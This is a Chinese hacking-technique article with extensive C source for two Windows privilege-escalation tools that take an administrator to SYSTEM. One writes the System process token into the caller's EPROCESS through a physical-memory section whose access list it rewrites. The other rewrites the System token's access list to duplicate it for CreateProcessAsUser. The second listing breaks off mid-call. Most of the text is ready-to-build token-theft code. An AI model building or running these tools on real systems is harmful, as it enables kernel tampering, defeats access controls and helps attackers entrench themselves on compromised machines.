管理员组获取系统权限的完美解决方案

2010-08-28 10:46:24来源:西部e网作者:

Author : ZwelL

Blog : http://www.donews.net/zwell

Date : 2005.4.28

关于管理员组(administrators)获取系统(SYSTEM)权限的方法其实已经有很多种了.

小四哥就提到了一些:"MSDN系列(3)--Administrator用户直接获取SYSTEM权限"和"远程线程注入版获取SYSTEM权限".

这里,我先踩在前辈的肩上列一些可行的方法:

1. "利用ZwCreateToken()自己创建一个SYSTEM令牌(Token)"

2. HOOK掉创建进程的函数ZwCreateProcess(Ex),用winlogon ID 创建

3. 远线程插入,插入线程到系统进程,创建一新进程

这上面三种方法都是scz提到的,也存在一些问题.其实除此这外,我们还可以:

4. 将程序做成服务,带参数运行新进程

做为服务来讲就是SYSTEM了,再创建的进程也是SYSTEM权限.

当然,这里我都不会用到上面提到的方法.因为网上都能找到现成的实现代码.而且考虑一些复杂性以及存在的一些问题都不是很好的解决方案.

这里,我拿出两种新的方案来实现该功能:

第一种方法.我们先来看一下系统是如何进行权限检测的,

举个例子,在调用了OpenProcessToken,我们知道会进行权限的验证:

OpenProcessToken->NtOpenProcessToken->PsOpenTokenOfProcess->PsReferencePrimaryToken->找到这一句Token = Process->Token;

|->ObOpenObjectByPointer调用上面返回的TOKEN进行检查

也就是说,系统在检测权限时仅仅通过从进程的EPROCESS结构种拿出Token项进行操作.因此我们不需要继续往ObOpenObjectByPointer里面跟进了。

思路已经很明显:直接将System进程的Token拿过来,放到我们进程的Token位置。那么系统就认为我们是SYSTEM权限.

而这时我们的进程创建的子进程也就是SYSTEM权限了。(以上分析过程请参考WINDOWS源代码...^_^)

实现代码:

===========================================================================================================

#include<windows.h>

#include<stdio.h>

#include<Accctrl.h>

#include<Aclapi.h>

#define TOKEN_OFFSET 0xc8 //In windows 2003, it's 0xc8, if others' version, change it

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG NTSTATUS;

typedef struct _IO_STATUS_BLOCK

{

NTSTATUS Status;

ULONG Information;

} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING

{

USHORT Length;

USHORT MaximumLength;

PWSTR Buffer;

} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT 0x00000002L

#define OBJ_PERMANENT 0x00000010L

#define OBJ_EXCLUSIVE 0x00000020L

#define OBJ_CASE_INSENSITIVE 0x00000040L

#define OBJ_OPENIF 0x00000080L

#define OBJ_OPENLINK 0x00000100L

#define OBJ_KERNEL_HANDLE 0x00000200L

#define OBJ_VALID_ATTRIBUTES 0x000003F2L

typedef struct _OBJECT_ATTRIBUTES

{

ULONG Length;

HANDLE RootDirectory;

PUNICODE_STRING ObjectName;

ULONG Attributes;

PVOID SecurityDescriptor;

PVOID SecurityQualityOfService;

} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef struct _SYSTEM_MODULE_INFORMATION

{

ULONG Reserved[2];

PVOID Base;

ULONG Size;

ULONG Flags;

USHORT Index;

USHORT Unknown;

USHORT LoadCount;

USHORT ModuleNameOffset;

CHAR ImageName[256];

} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS

{

SystemBasicInformation,

SystemProcessorInformation,

SystemPerformanceInformation,

SystemTimeOfDayInformation,

SystemNotImplemented1,

SystemProcessesAndThreadsInformation,

SystemCallCounts,

SystemConfigurationInformation,

SystemProcessorTimes,

SystemGlobalFlag,

SystemNotImplemented2,

SystemModuleInformation,

SystemLockInformation,

SystemNotImplemented3,

SystemNotImplemented4,

SystemNotImplemented5,

SystemHandleInformation,

SystemObjectInformation,

SystemPagefileInformation,

SystemInstructionEmulationCounts,

SystemInvalidInfoClass1,

SystemCacheInformation,

SystemPoolTagInformation,

SystemProcessorStatistics,

SystemDpcInformation,

SystemNotImplemented6,

SystemLoadImage,

SystemUnloadImage,

SystemTimeAdjustment,

SystemNotImplemented7,

SystemNotImplemented8,

SystemNotImplemented9,

SystemCrashDumpInformation,

SystemExceptionInformation,

SystemCrashDumpStateInformation,

SystemKernelDebuggerInformation,

SystemContextSwitchInformation,

SystemRegistryQuotaInformation,

SystemLoadAndCallImage,

SystemPrioritySeparation,

SystemNotImplemented10,

SystemNotImplemented11,

SystemInvalidInfoClass2,

SystemInvalidInfoClass3,

SystemTimeZoneInformation,

SystemLookasideInformation,

SystemSetTimeSlipEvent,

SystemCreateSession,

SystemDeleteSession,

SystemInvalidInfoClass4,

SystemRangeStartInformation,

SystemVerifierInformation,

SystemAddVerifier,

SystemSessionProcessesInformation

} SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )

(

IN SYSTEM_INFORMATION_CLASS SystemInformationClass,

IN OUT PVOID SystemInformation,

IN ULONG SystemInformationLength,

OUT PULONG ReturnLength OPTIONAL

);

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(

OUT PHANDLE SectionHandle,

IN ACCESS_MASK DesiredAccess,

IN POBJECT_ATTRIBUTES ObjectAttributes

);

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(

IN OUT PUNICODE_STRING DestinationString,

IN PCWSTR SourceString

);

typedef struct _SYSTEM_HANDLE_INFORMATION

{

ULONG ProcessId;

UCHAR ObjectTypeNumber;

UCHAR Flags;

USHORT Handle;

PVOID Object;

ACCESS_MASK GrantedAccess;

} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

RTLINITUNICODESTRING RtlInitUnicodeString;

ZWOPENSECTION ZwOpenSection;

ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL;

HMODULE g_hNtDLL = NULL;

PVOID g_pMapPhysicalMemory = NULL;

HANDLE g_hMPM = NULL;

BOOL InitNTDLL()

{

g_hNtDLL = LoadLibrary( "ntdll.dll" );

if ( !g_hNtDLL )

{

return FALSE;

}

RtlInitUnicodeString =

(RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");

ZwOpenSection =

(ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

ZwQuerySystemInformation =

( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

ZwQuerySystemInformation =

( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

return TRUE;

}

VOID CloseNTDLL()

{

if(g_hNtDLL != NULL)

{

FreeLibrary(g_hNtDLL);

}

}

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)

{

PACL pDacl=NULL;

PACL pNewDacl=NULL;

PSECURITY_DESCRIPTOR pSD=NULL;

DWORD dwRes;

EXPLICIT_ACCESS ea;

if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,

NULL,NULL,&pDacl,NULL,&pSD)!=ERROR_SUCCESS)

{

goto CleanUp;

}

ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));

ea.grfAccessPermissions = SECTION_MAP_WRITE;

ea.grfAccessMode = GRANT_ACCESS;

ea.grfInheritance= NO_INHERITANCE;

ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;

ea.Trustee.TrusteeType = TRUSTEE_IS_USER;

ea.Trustee.ptstrName = "CURRENT_USER";

if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!=ERROR_SUCCESS)

{

goto CleanUp;

}

if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)

{

goto CleanUp;

}

CleanUp:

if(pSD)

LocalFree(pSD);

if(pNewDacl)

LocalFree(pNewDacl);

}

HANDLE OpenPhysicalMemory()

{

NTSTATUS status;

UNICODE_STRING physmemString;

OBJECT_ATTRIBUTES attributes;

RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" );

attributes.Length = sizeof(OBJECT_ATTRIBUTES);

attributes.RootDirectory = NULL;

attributes.ObjectName = &physmemString;

attributes.Attributes = 0;

attributes.SecurityDescriptor = NULL;

attributes.SecurityQualityOfService = NULL;

status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);

if(status == STATUS_ACCESS_DENIED){

status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes);

SetPhyscialMemorySectionCanBeWrited(g_hMPM);

CloseHandle(g_hMPM);

status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);

}

if( !NT_SUCCESS( status ))

{

return NULL;

}

g_pMapPhysicalMemory = MapViewOfFile(

g_hMPM,

4,

0,

0x30000,

0x1000);

if( g_pMapPhysicalMemory == NULL )

{

return NULL;

}

return g_hMPM;

}

PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)

{

ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;

if(VAddr>=0x80000000 && VAddr<0xa0000000)

{

PAddr=VAddr-0x80000000;

return (PVOID)PAddr;

}

PGDE=BaseAddress[VAddr>>22];

if ((PGDE&1)!=0)

{

ULONG tmp=PGDE&0x00000080;

if (tmp!=0)

{

PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF);

}

else

{

PGDE=(ULONG)MapViewOfFile(g_hMPM, FILE_MAP_ALL_ACCESS, 0, PGDE & 0xfffff000, 0x1000);

PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>12];

if ((PTE&1)!=0)

{

PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);

UnmapViewOfFile((PVOID)PGDE);

}

else return 0;

}

}

else return 0;

return (PVOID)PAddr;

}

ULONG GetData(PVOID addr)

{

ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);

PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys & 0xfffff000, 0x1000);

if (tmp==0)

return 0;

ULONG ret=tmp[(phys & 0xFFF)>>2];

UnmapViewOfFile(tmp);

return ret;

}

BOOL SetData(PVOID addr,ULONG data)

{

ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr);

PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys & 0xfffff000, 0x1000);

if (tmp==0)

return FALSE;

tmp[(phys & 0xFFF)>>2]=data;

UnmapViewOfFile(tmp);

return TRUE;

}

DWORD MyGetModuleBaseAddress( char * pModuleName)

{

PSYSTEM_MODULE_INFORMATION pSysModule;

ULONG uReturn;

ULONG uCount;

PCHAR pBuffer = NULL;

PCHAR pName = NULL;

NTSTATUS status;

UINT ui;

CHAR szBuffer[10];

DWORD pBaseAddress;

status = ZwQuerySystemInformation( SystemModuleInformation, szBuffer, 10, &uReturn );

pBuffer = ( PCHAR )malloc(uReturn);

if ( pBuffer )

{

status = ZwQuerySystemInformation( SystemModuleInformation, pBuffer, uReturn, &uReturn );

if( NT_SUCCESS(status) )

{

uCount = ( ULONG )*( ( ULONG * )pBuffer );

pSysModule = ( PSYSTEM_MODULE_INFORMATION )( pBuffer + sizeof( ULONG ) );

for ( ui = 0; ui < uCount; ui++ )

{

pName = strstr( pSysModule->ImageName, pModuleName );

if( pName )

{

pBaseAddress = (DWORD)pSysModule->Base;

free( pBuffer );

return pBaseAddress;

}

pSysModule ++;

}

}

free( pBuffer );

}

return NULL;

}

DWORD GetEprocessFromId (DWORD PID)

{

NTSTATUS status;

PVOID buf = NULL;

ULONG size = 1;

ULONG NumOfHandle = 0;

ULONG i;

PSYSTEM_HANDLE_INFORMATION h_info = NULL;

DWORD n;

DWORD retvalue=0;

buf=malloc(0x1000);

if(buf == NULL)

{

printf("malloc wrong\n");

return FALSE;

}

status = ZwQuerySystemInformation( SystemHandleInformation, buf, 0x1000, &n );

if(STATUS_INFO_LENGTH_MISMATCH == status)

{

free(buf);

buf=malloc(n);

if(buf == NULL)

{

printf("malloc wrong\n");

return FALSE;

}

status = ZwQuerySystemInformation( SystemHandleInformation, buf, n, NULL);

}

else

{

printf("ZwQuerySystemInformation wrong\n");

return FALSE;

}

NumOfHandle = *(ULONG*)buf;

h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

for(i = 0; i<NumOfHandle ;i++)

{

if( h_info[i].ProcessId == PID &&( h_info[i].ObjectTypeNumber == 5 ))

{

retvalue=(DWORD)(h_info[i].Object);

break;

}

}

if ( buf != NULL )

{

free( buf );

}

return retvalue;

}

void usage(char *exe)

{

printf("Usage : %s [exefile|-h]\n");

}

int main(int argc, char **argv)

{

HMODULE hDll;

DWORD tmp;

DWORD SystemEprocess;

DWORD SystemEprocessTokenValue;

DWORD CurrentEprocess;

DWORD CurrentEprocessTokenValue;

printf("\nIt is intended to get SYSTEM privilege from administrators group.\n");

printf("\tMade by ZwelL.\n");

printf("\tZwell@sohu.com.\n");

printf("\thttp://www.donews.net/zwell.\n");

printf("\tType -h to get more information\n", argv[0]);

if( argc>=2)

{

if(

( (strcmp(argv[1],"-h")==0) && (argc==2))

|| (argc>2)

)

{

usage(argv[0]);

exit(-1);

}

}

if (!InitNTDLL())

{

printf("InitNTDLL wrong\n");

exit(-1);

}

if (OpenPhysicalMemory()==0)

{

printf("OpenPhysicalMemory wrong\n");

exit(-1);

}

hDll = LoadLibrary("ntoskrnl.exe");

tmp = (DWORD)GetProcAddress(hDll, "PsInitialSystemProcess");

tmp=MyGetModuleBaseAddress("ntoskrnl.exe")+(DWORD)tmp-(DWORD)hDll;

SystemEprocess=GetData((PVOID)tmp);

tmp=SystemEprocess+TOKEN_OFFSET; //SYSTEM's Token address

SystemEprocessTokenValue=GetData((PVOID)tmp); //SYSTEM's Token

printf("System Process Token : 0x%08X\n", SystemEprocessTokenValue);

OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() );

CurrentEprocess = GetEprocessFromId(GetCurrentProcessId());

CurrentEprocessTokenValue = GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET));

printf("Current EPROCESS : %08x\n", CurrentEprocess);

printf("Current Process Token : %08x\nPress ENTER to continue...\n",

CurrentEprocessTokenValue);

//getchar();

SetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET), SystemEprocessTokenValue);

printf("Current Process Token : %08x\n",

GetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET)));

printf("Press ENTER to create process...\n");

//getchar();

if( GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET))

== GetData((PVOID)(SystemEprocess+TOKEN_OFFSET))

)

// It is so surprised that SYSTEM's Token always in changing.

// So before create new process, we should ensure the TOKEN is all right

{

ShellExecute(NULL, "open", (argc==2)?argv[1]:"c:\\windows\\regedit.exe", NULL, NULL, SW_SHOWNORMAL);

}

UnmapViewOfFile(g_pMapPhysicalMemory);

CloseHandle(g_hMPM);

CloseNTDLL();

return 0;

}

在上面的代码中,请将TOKEN_OFFSET改成你的系统版本的偏移值.我们也可以想像到由于是操作了系统的内核空间,搞不好会出现蓝屏现象(尽管机率很小).

=========================================================================================================

第二种方法,我们不自己创建进程,而是直接用System进程的Token来创建进程.看到这,大家可能又想到了远线程。

这里不是。我的思路是:配置好桌面(desktop),工作区间(WindowStation)等信息,最后调用CreateProcessAsUser来创建子进程。

用这种方法极为稳定。这里一些关于获取SID的代码可以看我前一段时间写的"一种新的穿透防火墙的数据传输技术".

下面是源代码,这段代码也实现了RUNAS的功能,有兴趣可以研究一下,大部分都来自MSDN:

#include <windows.h>

#include <stdio.h>

#include <Tlhelp32.h>

#include <AccCtrl.h>

#include <Aclapi.h>

#include <wtsapi32.h>

#pragma comment(lib, "wtsapi32")

HANDLE OpenSystemProcess()

{

HANDLE hSnapshot = NULL;

HANDLE hProc = NULL;

__try

{

// Get a snapshot of the processes in the system

hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hSnapshot == NULL)

{

printf("OpenSystemProcess CreateToolhelp32Snapshot Failed");

__leave;

}

PROCESSENTRY32 pe32;

pe32.dwSize = sizeof(pe32);

// Find the "System" process

BOOL fProcess = Process32First(hSnapshot, &pe32);

while (fProcess && (lstrcmpi(pe32.szExeFile, TEXT("SYSTEM")) != 0))

fProcess = Process32Next(hSnapshot, &pe32);

if (!fProcess)

{

printf("OpenSystemProcess Not Found SYSTEM");

__leave; // Didn't find "System" process

}

// Open the process with PROCESS_QUERY_INFORMATION access

hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE,

pe32.th32ProcessID);

if (hProc == NULL)

{

printf("OpenSystemProcess OpenProcess Failed");

__leave;

}

}

__finally

{

// Cleanup the snapshot

if (hSnapshot != NULL)

CloseHandle(hSnapshot);

return(hProc);

}

}

BOOL EnablePrivilege (PCSTR name)

{

HANDLE hToken;

BOOL rv;

TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} };

LookupPrivilegeValue (

0,

name,

&priv.Privileges[0].Luid

);

OpenProcessToken(

GetCurrentProcess (),

TOKEN_ADJUST_PRIVILEGES,

&hToken

);

AdjustTokenPrivileges (

hToken,

FALSE,

&priv,

sizeof priv,

0,

0

);

rv = GetLastError () == ERROR_SUCCESS;

CloseHandle (hToken);

return rv;

}

#define chDIMOF(Array) (sizeof(Array) / sizeof(Array[0]))

BOOL ModifySecurity(HANDLE hProc, DWORD dwAccess)

{

PACL pAcl = NULL;

PACL pNewAcl = NULL;

PACL pSacl = NULL;

PSID pSidOwner = NULL;

PSID pSidPrimary = NULL;

BOOL fSuccess = TRUE;

PSECURITY_DESCRIPTOR pSD = NULL;

__try

{

// Find the length of the security object for the kernel object

DWORD dwSDLength;

if (GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, 0,

&dwSDLength) || (GetLastError() != ERROR_INSUFFICIENT_BUFFER))

{

printf("ModifySecurity GetKernelObjectSecurity Size Failed");

__leave;

}

// Allocate a buffer of that length

pSD = LocalAlloc(LPTR, dwSDLength);

if (pSD == NULL)

{

printf("ModifySecurity LocalAlloc Failed");

__leave;

}

// Retrieve the kernel object

if (!GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD,

dwSDLength, &dwSDLength))

{

printf("ModifySecurity GetKernelObjectSecurity Failed");

__leave;

}

// Get a pointer to the DACL of the SD

BOOL fDaclPresent;

BOOL fDaclDefaulted;

if (!GetSecurityDescriptorDacl(pSD, &fDaclPresent, &pAcl,

&fDaclDefaulted))

{

printf("ModifySecurity GetSecurityDescriptorDacl Failed");

__leave;

}

// Get the current user's name

TCHAR szName[1024];

DWORD dwLen = chDIMOF(szName);

if (!GetUserName(szName, &dwLen))

{

printf("ModifySecurity GetUserName Failed");

__leave;

}

// Build an EXPLICIT_ACCESS structure for the ace we wish to add.

EXPLICIT_ACCESS ea;

BuildExplicitAccessWithName(&ea, szName, dwAccess, GRANT_ACCESS, 0);

ea.Trustee.TrusteeType = TRUSTEE_IS_USER;

// We are allocating a new ACL with a new ace inserted. The new

// ACL must be LocalFree'd

if(ERROR_SUCCESS != SetEntriesInAcl(1, &ea, pAcl, &pNewAcl))

{

printf("ModifySecurity SetEntriesInAcl Failed");

pNewAcl = NULL;

__leave;

}

// Find the buffer sizes we would need to make our SD absolute

pAcl = NULL;

dwSDLength = 0;

DWORD dwAclSize = 0;

DWORD dwSaclSize = 0;

DWORD dwSidOwnLen = 0;

DWORD dwSidPrimLen = 0;

PSECURITY_DESCRIPTOR pAbsSD = NULL;

if(MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,

&dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen)

|| (GetLastError() != ERROR_INSUFFICIENT_BUFFER))

{

printf("ModifySecurity MakeAbsoluteSD Size Failed");

__leave;

}

// Allocate the buffers

pAcl = (PACL) LocalAlloc(LPTR, dwAclSize);

pSacl = (PACL) LocalAlloc(LPTR, dwSaclSize);

pSidOwner = (PSID) LocalAlloc(LPTR, dwSidOwnLen);

pSidPrimary = (PSID) LocalAlloc(LPTR, dwSidPrimLen);

pAbsSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, dwSDLength);

if(!(pAcl && pSacl && pSidOwner && pSidPrimary && pAbsSD))

{

printf("ModifySecurity Invalid SID Found");

__leave;

}

// And actually make our SD absolute

if(!MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl,

&dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen))

{

printf("ModifySecurity MakeAbsoluteSD Failed");

__leave;

}

// Now set the security descriptor DACL

if(!SetSecurityDescriptorDacl(pAbsSD, fDaclPresent, pNewAcl,

fDaclDefaulted))

{

printf("ModifySecurity SetSecurityDescriptorDacl Failed");

__leave;

}

// And set the security for the object

if(!SetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pAbsSD))

{

printf("ModifySecurity SetKernelObjectSecurity Failed");

__leave;

}

fSuccess = TRUE;

}

__finally

{

// Cleanup

if (pNewAcl == NULL)

LocalFree(pNewAcl);

if (pSD == NULL)

LocalFree(pSD);

if (pAcl == NULL)

LocalFree(pAcl);

if (pSacl == NULL)

LocalFree(pSacl);

if (pSidOwner == NULL)

LocalFree(pSidOwner);

if (pSidPrimary == NULL)

LocalFree(pSidPrimary);

if(!fSuccess)

{

printf("ModifySecurity exception caught in __finally");

}

return(fSuccess);

}

}

HANDLE GetLSAToken()

{

HANDLE hProc = NULL;

HANDLE hToken = NULL;

BOOL bSuccess = FALSE;

__try

{

// Enable the SE_DEBUG_NAME privilege in our process token

if (!EnablePrivilege(SE_DEBUG_NAME))

{

printf("GetLSAToken EnablePrivilege Failed");

__leave;

}

// Retrieve a handle to the "System" process

hProc = OpenSystemProcess();

if(hProc == NULL)

{

printf("GetLSAToken OpenSystemProcess Failed");

__leave;

}

// Open the process token with READ_CONTROL and WRITE_DAC access. We

// will use this access to modify the security of the token so that we

// retrieve it again with a more complete set of rights.

BOOL fResult = OpenProcessToken(hProc, READ_CONTROL | WRITE_DAC,

&hToken);

if(FALSE == fResult)

{

printf("GetLSAToken OpenProcessToken Failed");

__leave;

}

// Add an ace for the current user for the token. This ace will add

// TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY rights.

if (!ModifySecurity(hToken, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY

| TOKEN_QUERY | TOKEN_ADJUST_SESSIONID))

{

printf("GetLSAToken ModifySecurity Failed");

__leave;

}

// Reopen the process token now that we have added the rights to

// query the token, duplicate it, and assign it.

fResult = OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE

| TOKEN_ASSIGN_PRIMARY | READ_CONTROL | WRITE_DAC, &hToken);

if (FALSE == fResult)

{

printf("GetLSAToken OpenProcessToken Failed");

__leave;

}

bSuccess = TRUE;

}

__finally

{

// Close the System process handle

if (hProc != NULL) CloseHandle(hProc);

if(bSuccess)

return hToken;

else

{

::CloseHandle(hToken);

return NULL;

}

}

}

#define DESKTOP_ALL (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | \

DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | \

DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | \

DESKTOP_SWITCHDESKTOP | STANDARD_RIGHTS_REQUIRED)

#define WINSTA_ALL (WINSTA_ENUMDESKTOPS | WINSTA_READATTRIBUTES | \

WINSTA_ACCESSCLIPBOARD | WINSTA_CREATEDESKTOP | \

WINSTA_WRITEATTRIBUTES | WINSTA_ACCESSGLOBALATOMS | \

WINSTA_EXITWINDOWS | WINSTA_ENUMERATE | \

WINSTA_READSCREEN | \

STANDARD_RIGHTS_REQUIRED)

#define GENERIC_ACCESS (GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE | GENERIC_ALL)

BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid);

BOOL AddAceToDesktop(HDESK hdesk, PSID psid);

BOOL GetLogonSID(HANDLE hToken, PSID *ppsid)

{

PWTS_PROCESS_INFO pProcessInfo = NULL;

DWORD ProcessCount = 0;

BOOL ret=FALSE;

if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount))

{

// dump each process description

for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++)

{

if( strcmp(pProcessInfo[CurrentProcess].pProcessName, "System") == 0 )

{

//*ppsid = pProcessInfo[CurrentProcess].pUserSid;

DWORD dwLength = GetLengthSid(pProcessInfo[CurrentProcess].pUserSid);

*ppsid = (PSID) HeapAlloc(GetProcessHeap(),

HEAP_ZERO_MEMORY, dwLength);

if (*ppsid == NULL)

break;

if (!CopySid(dwLength, *ppsid, pProcessInfo[CurrentProcess].pUserSid))

{

HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);

break;

}

ret=TRUE;

break;

}

}

WTSFreeMemory(pProcessInfo);

}

return ret;

}

BOOL GetLogonSID_1 (HANDLE hToken, PSID *ppsid)

{

BOOL bSuccess = FALSE;

DWORD dwIndex;

DWORD dwLength = 0;

PTOKEN_GROUPS ptg = NULL;

// Verify the parameter passed in is not NULL.

if (NULL == ppsid)

goto Cleanup;

// Get required buffer size and allocate the TOKEN_GROUPS buffer.

if (!GetTokenInformation(

hToken, // handle to the access token

TokenGroups, // get information about the token's groups

(LPVOID) ptg, // pointer to TOKEN_GROUPS buffer

0, // size of buffer

&dwLength // receives required buffer size

))

{

if (GetLastError() != ERROR_INSUFFICIENT_BUFFER)

goto Cleanup;

ptg = (PTOKEN_GROUPS)HeapAlloc(GetProcessHeap(),

HEAP_ZERO_MEMORY, dwLength);

if (ptg == NULL)

goto Cleanup;

}

// Get the token group information from the access token.

if (!GetTokenInformation(

hToken, // handle to the access token

TokenGroups, // get information about the token's groups

(LPVOID) ptg, // pointer to TOKEN_GROUPS buffer

dwLength, // size of buffer

&dwLength // receives required buffer size

))

{

goto Cleanup;

}

// Loop through the groups to find the logon SID.

for (dwIndex = 0; dwIndex < ptg->GroupCount; dwIndex++)

if ((ptg->Groups[dwIndex].Attributes & SE_GROUP_LOGON_ID)

== SE_GROUP_LOGON_ID)

{

// Found the logon SID; make a copy of it.

dwLength = GetLengthSid(ptg->Groups[dwIndex].Sid);

*ppsid = (PSID) HeapAlloc(GetProcessHeap(),

HEAP_ZERO_MEMORY, dwLength);

if (*ppsid == NULL)

goto Cleanup;

if (!CopySid(dwLength, *ppsid, ptg->Groups[dwIndex].Sid))

{

HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);

goto Cleanup;

}

break;

}

bSuccess = TRUE;

Cleanup:

// Free the buffer for the token groups.

if (ptg != NULL)

HeapFree(GetProcessHeap(), 0, (LPVOID)ptg);

return bSuccess;

}

VOID FreeLogonSID (PSID *ppsid)

{

HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid);

}

BOOL StartInteractiveClientProcess (

LPTSTR lpszUsername, // client to log on

LPTSTR lpszDomain, // domain of client's account

LPTSTR lpszPassword, // client's password

LPTSTR lpCommandLine, // command line to execute

HANDLE Token = NULL

)

{

HANDLE hToken;

HDESK hdesk = NULL;

HWINSTA hwinsta = NULL, hwinstaSave = NULL;

PROCESS_INFORMATION pi;

PSID pSid = NULL;

STARTUPINFO si;

BOOL bResult = FALSE;

// Log the client on to the local computer.

if(Token!=NULL)

{

printf("%08x\n", Token);

hToken = Token;

}

else if (!LogonUser(

lpszUsername,

lpszDomain,

lpszPassword,

LOGON32_LOGON_INTERACTIVE,

LOGON32_PROVIDER_DEFAULT,

&hToken) )

{

goto Cleanup;

}

// Save a handle to the caller's current window station.

if ( (hwinstaSave = GetProcessWindowStation() ) == NULL)

goto Cleanup;

// Get a handle to the interactive window station.

hwinsta = OpenWindowStation(

"winsta0", // the interactive window station

FALSE, // handle is not inheritable

READ_CONTROL | WRITE_DAC); // rights to read/write the DACL

if (hwinsta == NULL)

goto Cleanup;

// To get the correct default desktop, set the caller's

// window station to the interactive window station.

if (!SetProcessWindowStation(hwinsta))

goto Cleanup;

// Get a handle to the interactive desktop.

hdesk = OpenDesktop(

"default", // the interactive window station

0, // no interaction with other desktop processes

FALSE, // handle is not inheritable

READ_CONTROL | // request the rights to read and write the DACL

WRITE_DAC |

DESKTOP_WRITEOBJECTS |

DESKTOP_READOBJECTS);

// Restore the caller's window station.

if (!SetProcessWindowStation(hwinstaSave))

goto Cleanup;

if (hdesk == NULL)

goto Cleanup;

// Get the SID for the client's logon session.

if (!GetLogonSID(hToken, &pSid))

goto Cleanup;

// Allow logon SID full access to interactive window station.

if (! AddAceToWindowStation(hwinsta, pSid) )

goto Cleanup;

// Allow logon SID full access to interactive desktop.

if (! AddAceToDesktop(hdesk, pSid) )

goto Cleanup;

// Impersonate client to ensure access to executable file.

if (! ImpersonateLoggedOnUser(hToken) )

goto Cleanup;

// Initialize the STARTUPINFO structure.

// Specify that the process runs in the interactive desktop.

ZeroMemory(&si, sizeof(STARTUPINFO));

si.cb= sizeof(STARTUPINFO);

si.lpDesktop = TEXT("winsta0\\default"); //You can use EnumWindowStations to enum desktop

// Launch the process in the client's logon session.

bResult = CreateProcessAsUser(

hToken, // client's access token

NULL, // file to execute

lpCommandLine, // command line

NULL, // pointer to process SECURITY_ATTRIBUTES

